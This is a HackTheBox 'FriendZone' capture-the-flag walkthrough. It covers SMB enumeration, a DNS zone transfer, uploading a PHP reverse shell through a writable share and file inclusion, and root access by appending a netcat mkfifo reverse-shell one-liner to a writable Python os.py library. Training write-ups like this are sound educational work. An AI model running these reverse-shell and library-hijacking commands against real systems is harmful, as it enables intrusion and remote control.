HackTheBox - FriendZone

Starting with a basic namp scan using nmap automator

└─$ autonmap 10.10.10.123 All

Running all scans on 10.10.10.123

Host is likely running Linux


---------------------Starting Port Scan-----------------------

PORT    STATE SERVICE
21/tcp  open  ftp
22/tcp  open  ssh
53/tcp  open  domain
80/tcp  open  http
139/tcp open  netbios-ssn
443/tcp open  https
445/tcp open  microsoft-ds

---------------------Starting Script Scan-----------------------

PORT    STATE SERVICE     VERSION
21/tcp  open  ftp         vsftpd 3.0.3
22/tcp  open  ssh         OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 a9:68:24:bc:97:1f:1e:54:a5:80:45:e7:4c:d9:aa:a0 (RSA)
|   256 e5:44:01:46:ee:7a:bb:7c:e9:1a:cb:14:99:9e:2b:8e (ECDSA)
|_  256 00:4e:1a:4f:33:e8:a0:de:86:a6:e4:2a:5f:84:61:2b (ED25519)
53/tcp  open  domain      ISC BIND 9.11.3-1ubuntu1.2 (Ubuntu Linux)
| dns-nsid: 
|_  bind.version: 9.11.3-1ubuntu1.2-Ubuntu
80/tcp  open  http        Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Friend Zone Escape software
139/tcp open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
443/tcp open  ssl/http    Apache httpd 2.4.29
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: 404 Not Found
| ssl-cert: Subject: commonName=friendzone.red/organizationName=CODERED/stateOrProvinceName=CODERED/countryName=JO
| Not valid before: 2018-10-05T21:02:30
|_Not valid after:  2018-11-04T21:02:30
|_ssl-date: TLS randomness does not represent time
| tls-alpn: 
|_  http/1.1
445/tcp open  netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Hosts: FRIENDZONE, 127.0.0.1; OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: -59m48s, deviation: 1h43m55s, median: 10s
|_nbstat: NetBIOS name: FRIENDZONE, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
|   Computer name: friendzone
|   NetBIOS computer name: FRIENDZONE\x00
|   Domain name: \x00
|   FQDN: friendzone
|_  System time: 2021-06-08T06:44:32+03:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-06-08T03:44:33
|_  start_date: N/A

We have port 21 (ftp) port open , trying if anonymous login is allowed

And we don't have anonymous login enabled

We also have smb ports open , Using smbclient and smbmap we can see the shares to which we have read write permissions

We have read permission to general share and read write permission to Development share

By using the smbclient to connect to general share

smbclient //10.10.10.123/general

We find a file called creds.txt which contains password for admin

We do not fnd anything in the Development share

Now by using the credentials we got from the general share we try to connect to one of the admin shares

But we are not able to log into it , maybe the credentials are for some other services

Let's have a look at the http port 80

And we get

Nothing in the source code

Running a gobuster scan against it to see any hidden directories

So nothing there in the /robots.txt

Nothing in the wordpress directory too

Here we find that the common name is friendzone.red

Adding friendzone.red to /etc/hosts file

We also have port 53 (DNS) port open

So let's try something with it , Let's try for dns misconfiguration (DNS ZoneTransfer)

dig axfr friendzone @10.10.10.123

And we get many subdomains

Adding them to the /etc/hosts file

Now going to each subdomain

http://uploads.friendzone.red

We get

Nothing in the source code too

http://administrator1.friendzone.red

We cannot find anything on port 80 so let's try out for port 443 https

https://administrator1.friendzone.red

And we get

Now using the credentials we found earlier in the creds.txt

We login and get

Going to dashboard.php we get

Going to https://uploads.friendzone.red we get

A page where we can upload files , only image files

Earlier while enumerating smb we found that we have a share called Development where we have write permissions

So we'll try to upload a php file which will get us a reverse shell

By using the php reverse shell file from kali linux and changing our ip and port number we are ready to upload the file

Now using smbclient to put the file in the Development directory

Here we have a parameter called pagename which we can modify and call our script

Running the file we get back a reverse shell

And we get the user.txt

We are in a non interactive shell

Using python -c "import pty; pty.spawn('/bin/bash')" we get a fully interactive shell

Time for some priv-esc

The directory we were in earlier contains some files

Viewing the contents of the file mysql_data.conf we get credentials for the user friend

username :- friend password :- Agpyu12!0.213$

Using the credentials in ssh we successfully log in as the user friend

We find that we don't have permission to run sudo

Looking around we find a directory containing reporter.py which is running as root user

But unfortunately we are unable to modify the file

#!/usr/bin/python

import os

to_address = "admin1@friendzone.com"
from_address = "admin2@friendzone.com"

print "[+] Trying to send email to %s"%to_address

#command = ''' mailsend -to admin2@friendzone.com -from admin1@friendzone.com -ssl -port 465 -auth -smtp smtp.gmail.co-sub scheduled results email +cc +bc -v -user you -pass "PAPAP"'''

#os.system(command)

# I need to edit the script later
# Sam ~ python developer

We see that the script is importing the os library from python

So what we can do is we can poison the library itself

And we see that we have read write execute permissions for the file os.py

echo "os.system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.16.2 123 > /tmp/f')" >> os.py

We wait for the script to run

And when the script runs we get the revese shell and we are now root